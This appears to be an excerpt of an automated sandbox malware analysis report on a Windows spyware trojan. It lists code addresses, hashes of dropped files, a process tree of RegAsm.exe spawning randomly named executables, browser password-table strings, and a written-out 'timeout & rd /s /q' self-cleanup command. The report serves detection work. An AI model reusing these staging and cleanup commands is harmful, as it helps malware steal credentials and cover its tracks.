Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040138D	9_2_0040138D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042A3A8	9_2_0042A3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00428472	9_2_00428472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042D4D4	9_2_0042D4D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042C510	9_2_0042C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004365E0	9_2_004365E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401589	9_2_00401589
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00430590	9_2_00430590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00431670	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042C6E1	9_2_0042C6E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004486E0	9_2_004486E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040A680	9_2_0040A680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040B700	9_2_0040B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00403780	9_2_00403780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00436820	9_2_00436820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042B830	9_2_0042B830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043F8E0	9_2_0043F8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042E927	9_2_0042E927
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042DB4B	9_2_0042DB4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00411B50	9_2_00411B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040ABD0	9_2_0040ABD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00448BE0	9_2_00448BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00447BE0	9_2_00447BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0043EC60	9_2_0043EC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407DD0	9_2_00407DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041DDFF	9_2_0041DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040CF10	9_2_0040CF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD29F80	12_2_1FD29F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD0AEBE	12_2_1FD0AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD29A20	12_2_1FD29A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FD29390	12_2_1FD29390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCE4FB2	12_2_1FCE4FB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCC5CCF	12_2_1FCC5CCF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCC16D0	12_2_1FCC16D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCBFD50	12_2_1FCBFD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FC99CC0	12_2_1FC99CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FC99430	12_2_1FC99430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FC9A2C0	12_2_1FC9A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCB61E0	12_2_1FCB61E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCBD100	12_2_1FCBD100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FCC3920	12_2_1FCC3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FC9F8D0	12_2_1FC9F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB44CF0	12_2_1FB44CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB3EA80	12_2_1FB3EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB466C0	12_2_1FB466C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB3F160	12_2_1FB3F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB67810	12_2_1FB67810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_1FB49000	12_2_1FB49000

Source: Joe Sandbox View	Dropped File: C:\ProgramData\GDBFCGIIIJ.exe 0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
Source: Joe Sandbox View	Dropped File: C:\ProgramData\IIJKJDAFHJ.exe BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3309D0 appears 57 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C1494D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040EBD0 appears 171 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C13CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CCF0 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 36 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1662150633.00000000009EE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: GDBFCGIIIJ.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fbfcc9963ca_ldfsna[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KJEGDBKFIJ.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fbfccd837ac_vadggdsa[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: IIJKJDAFHJ.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/58@14/14

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C167030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C167030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

2_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

2_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5672:120:WilError_03
Source: C:\Users\userAFIDGDBGCA.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: GCGCFCBAKKFBFIECAEBA.15.dr, BGIJJK.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789101065.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\GDBFCGIIIJ.exe "C:\ProgramData\GDBFCGIIIJ.exe"
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KJEGDBKFIJ.exe "C:\ProgramData\KJEGDBKFIJ.exe"
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IIJKJDAFHJ.exe "C:\ProgramData\IIJKJDAFHJ.exe"
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBGIJEHIIDGC" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAAAAKJKJE.exe "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Users\userBAAAAKJKJE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAFIDGDBGCA.exe "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Users\userAFIDGDBGCA.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userBAAAAKJKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userAFIDGDBGCA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\GDBFCGIIIJ.exe "C:\ProgramData\GDBFCGIIIJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KJEGDBKFIJ.exe "C:\ProgramData\KJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IIJKJDAFHJ.exe "C:\ProgramData\IIJKJDAFHJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBGIJEHIIDGC" & exit	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAAAAKJKJE.exe "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Users\userBAAAAKJKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAFIDGDBGCA.exe "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Users\userAFIDGDBGCA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
